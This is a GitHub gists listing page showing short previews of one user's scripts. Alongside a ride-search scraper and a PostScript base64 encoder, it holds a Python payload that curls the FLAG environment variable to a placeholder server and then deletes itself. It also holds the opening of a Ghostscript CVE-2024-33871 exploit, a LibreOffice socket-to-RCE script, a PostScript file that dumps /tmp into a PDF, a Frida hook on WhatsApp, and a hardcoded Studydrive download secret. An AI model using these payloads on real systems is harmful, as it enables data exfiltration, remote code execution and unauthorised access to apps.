Romern’s gists

Romern / blablacarmatrix.py

Last active April 5, 2025 07:17

Retrieve blablacar results for multiple days

	import requests
	import datetime
	import click
	import tqdm
	import uuid
	from rich.console import Console
	from rich.table import Table

	search_url = "https://edge.blablacar.de/trip/search/v7"
	location_get_url = 'https://edge.blablacar.de/location/suggestions'

Romern / flask.py

Created October 20, 2024 18:13

hydrate

	import os
	import base64
	os.system("curl https://MYSERVER/"+base64.b64encode(os.environ["FLAG"].encode()).decode())
	os.system("rm /app/flask.py")
	os._exit(1)

Romern / CVE-2024-33871.ps

Last active June 29, 2024 17:44

CVE-2024-33871 Adapted from https://bugs.ghostscript.com/show_bug.cgi?id=707754.

	%!PS

	%%% base64 encoding code
	% http://www.sunshine2k.de/articles/coding/base64/understanding_base64.html
	/base64DecodingTable [
	80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 %/* 0 - 15 */
	80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 %/* 16 - 31 */
	80 80 80 80 80 80 80 80 80 80 80 62 80 80 80 63 %/* 32 - 47 */
	52 53 54 55 56 57 58 59 60 61 80 80 80 64 80 80 %/* 48 - 63 */
	80 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 %/* 64 - 79 */

Romern / libreoffice_domain_socket_to_rce.py

Created April 23, 2024 00:34

	from pathlib import Path
	import socket
	import time

	# RCE when having access to unix sockets
	# TODO: start a named_pipe instead

	# first stage: start uno api

	# OSL PIPE apparently used for quick starts when libreoffice is already started

Romern / studydrive_download_new.py

Created February 18, 2024 18:34

Download Studydrive course files

	import hashlib
	import requests

	# app hat ratelimiting für session:
	# 'x-ratelimit-limit': '30', 'x-ratelimit-remaining': '0', 'retry-after': '56', 'x-ratelimit-reset': '1708281174'

	# from de.veedapp.veed.api_clients.getDocumentStorageUrl
	download_secret = "studydrive-app-download-7>%jsc"

	base_url = "https://gateway.production-01.studydrive.net"

Romern / whatsapp_override_dismiss.js

Created February 11, 2024 19:03

Frida script to use WhasApp after the login has failed. This way messages can still be read even if the whatsapp login has been transfered

	Java.enumerateClassLoaders({
	onMatch: function(loader){
	Java.classFactory.loader = loader;

	// Hook the class if found, else try next classloader.
	try{
	//Override OnDismiss, so we can dismiss the login error dialog without the app closing
	LoginFailedDialogFragment = Java.use("com.whatsapp.DisplayExceptionDialogFactory$LoginFailedDialogFragment");
	LoginFailedDialogFragment.onDismiss.implementation = function() {};
	}catch(error){

Romern / long_running.ps

Created January 1, 2024 22:30

	%!PS-Adobe-3.0 EPSF-3.0
	%%Pages: 1
	%%BoundingBox: 36 36 576 756
	%%LanguageLevel: 1
	%%EndComments
	%%BeginProlog
	%%EndProlog

	% (a) (b) -> (ab)
	% https://stackoverflow.com/questions/12378904/postscript-concatenate-two-strings

Romern / embedfile.ps

Last active November 3, 2023 15:27

PostScript function to embed files in a PDF easily using pdfmark (by defaults dumps /tmp/* ) (e.g. ```gs -sDEVICE=pdfwrite -o foo.pdf embedfile.ps```). Python script extracts the files.

	%!PS

	%%%%%%%%%%%%%%%%%%%Helper Functions

	% (a) (b) -> (ab)
	/concatstrings { exch dup length
	2 index length add string
	dup dup 4 2 roll copy length
	4 -1 roll putinterval
	} bind def

Romern / svgpdfpolzglot.svg

Last active April 5, 2025 07:52

svg pdf polyglot imagemagick/ghostscript mit command execution

Sorry, something went wrong. Reload?

Sorry, we cannot display this file.

Sorry, this file is invalid so it cannot be displayed.

Romern / base64.ps

Created August 14, 2023 20:55

base64 encoder in postscript

	/base64EncodingTable [
	(A) (B) (C) (D) (E) (F) (G) (H) (I) (J)
	(K) (L) (M) (N) (O) (P) (Q) (R) (S) (T)
	(U) (V) (W) (X) (Y) (Z) (a) (b) (c) (d)
	(e) (f) (g) (h) (i) (j) (k) (l) (m) (n)
	(o) (p) (q) (r) (s) (t) (u) (v) (w) (x)
	(y) (z) (0) (1) (2) (3) (4) (5) (6) (7)
	(8) (9) (+) (/)
	] def